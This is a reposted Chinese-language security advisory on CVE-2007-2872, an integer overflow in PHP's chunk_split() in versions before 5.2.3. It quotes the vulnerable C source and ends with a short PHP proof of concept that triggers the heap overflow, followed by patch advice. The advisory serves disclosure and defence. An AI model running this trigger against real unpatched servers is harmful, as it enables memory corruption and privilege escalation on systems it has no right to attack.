程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> PHP綜合 >> PHP5.2下chunk_split()函數整數溢出漏洞 分析

PHP5.2下chunk_split()函數整數溢出漏洞 分析

編輯:PHP綜合
受影響系統:
PHP PHP < 5.2.3
不受影響系統:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一種流行的WEB服務器端編程語言。

PHP中的chunk_split函數在處理畸形參數時存在整數溢出漏洞,本地攻擊者可能利用此漏洞提升自己的權限。

PHP中chunk_split函數的1963行試圖為函數結果分配充分的內存大小,但沒有執行任何檢查便使用了srclen和chunklen參數塊。如果值的塊和endlen大於65534字節的話,就會觸發整數溢出,分配錯誤的內存大小,導致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*來源:Gerhard Wagner

鏈接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

測試方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建議:
--------------------------------------------------------------------------------
廠商補丁:

PHP
---
目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

http://www.php.net/downloads.php#v5

文章來自: 綠盟科技
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved